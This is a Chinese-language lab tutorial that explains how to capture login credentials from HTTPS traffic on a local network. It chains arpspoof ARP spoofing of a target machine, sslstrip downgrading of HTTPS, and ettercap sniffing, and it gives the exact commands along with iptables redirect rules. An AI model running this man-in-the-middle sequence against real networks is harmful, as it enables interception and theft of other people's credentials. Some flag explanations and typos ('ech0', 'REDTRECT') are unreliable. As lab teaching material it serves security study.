1、首先安装sslstrip
命令执行:apt-get install sslstrip
如果遇到这个问题如下图
使用命令打开对应更新源文件:vim /etc/apt/sources.list
添加下面源地址:
#阿里云Kali镜像源
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
#中科大Kali镜像源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
#清华大学Kali镜像源
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#kali源
deb http://http.kali.org/kali kali-rolling main contrib non-free
deb-src http://http.kali.org/kali kali-rolling main contrib non-free
注意:如果出现没有数字签名问题,那就是需要下载证书
使用命令:
wget archive.kali.org/archive-key.asc #下载证书
apt-key add archive-key.asc #添加证书
然后再apt-get update命令完成更新再执行apt-get install sslstrip
2、启动arp欺骗
arpspoof -i ech0 -t 192.168.159.148 192.168.159.2
arpspoof -i ech0(网卡) -t 目标机ip 本地局域网关
3、命令行输入: vim /etc/ettercap/etter.conf进入配置文件
找到下红框的内容,输入字母i进入编辑模式,把#注释符去掉,按键盘右上角ESC键退出编辑模式,进入命令行模式,同时按住shift键与冒号键:然后输入wq进行保存并退出。
4、另外再启动第二kali终端,输入下面命令
命令执行:sslstrip -a -f –k
sslstrip是一个命令行工具,用于将HTTPS连接转换为HTTP连接,以便进行中间人攻击。其中
-a选项表示将所有请求重定向到攻击者控制的设备上
-f选项表示强制使用HTTP而不是HTTPS
-k选项表示忽略证书错误。
因此,这个命令的作用是在中间人攻击中使用sslstrip工具将HTTPS连接转换为HTTP连接,并将所有请求重定向到攻击者控制的设备上,同时忽略证书错误。
5、另起第三个Kali终端输入:ettercap -Tq -i eth0
-T:启动文本模式 q:安静模式 -i:攻击机网卡
6、Win7访问https协议网站后台
注意:使用google浏览器 ,不要使用用IE浏览器(默认开启了HSTS(HTTP Strict Transport Security--HTTP严格传输安全)功能,该功能会强制浏览器只能通过HTTPS协议访问原本就是HTTPS协议编写的网站)
访问https协议网站:登录实验吧
6.1、直接访问出现不安全连接界面,点击“高级”
6.2、点击“继续前往”
6.3、进入登入后台,随机输入账号密码
6.4、回到kali虚拟机,查看ettercap工具的抓取结果
最后抓到账户和密码
总结:
抓取https协议的用户名和密码,使用arpspoof、sslstrip和ettercap这三个工具他们的关系与执行顺序是什么样的。
它们之间的关系如下:
1、arpspoof:用于欺骗目标机器,使其将流量发送到攻击者的机器上。
2、sslstrip:用于将https流量转换为http流量,以便于进行嗅探。
3、ettercap:用于嗅探流量并提取用户名和密码等信息。
执行的顺序如下:
1、使用arpspoof欺骗目标机器,使其将流量发送到攻击者的机器上。
2、在攻击者的机器上运行sslstrip,将https流量转换为http流量。
3、使用ettercap嗅探流量并提取用户名和密码等信息。
拓展:ettercap.conf配置文件取消注释的语句解释。
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp -d %destination --dport %port - j REDTRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp -d %destination --dport %port -j REDIRECT --to-port %rport" 分别是什么意思
redir_command_on和redir_command_off是用于开启和关闭iptables端口转发的命令。其中,iptables是一个Linux系统中用于管理网络连接的工具,可以通过它来设置网络连接的规则。具体来说,redir_command_on命令用于将来自指定端口的数据流量重定向到另一个IP地址和端口,而redir_command_off命令则用于关闭这个端口转发规则。
其中,redir_command_on命令中的参数含义如下:
- %iface:表示网络接口名称,即网络连接的设备名称。
- %destination:表示目标IP地址(受害者主机IP)。
- $port:表示源端口号。
- %rport:表示目标端口号。
redir_command_off命令中的参数含义与redir_command_on命令相同。
下面是两个具体的范例:
# 开启端口转发规则
redir_command_on = "iptables -t nat -A PREROUTING -i eth0 -p tcp -d 192.168.1.100 --dport 80 -j REDIRECT --to-port 8080"
其中,eth0是指要监听的网络接口;8080是指ettercap监听的端口号。这个命令的作用是将所有通过80端口的流量重定向到ettercap监听的端口上,以便ettercap可以捕获流量并分析其中的https账号和密码。
# 关闭端口转发规则
redir_command_off = "iptables -t nat -D PREROUTING -i eth0 -p tcp -d 192.168.1.100 --dport 80 -j REDIRECT --to-port 8080"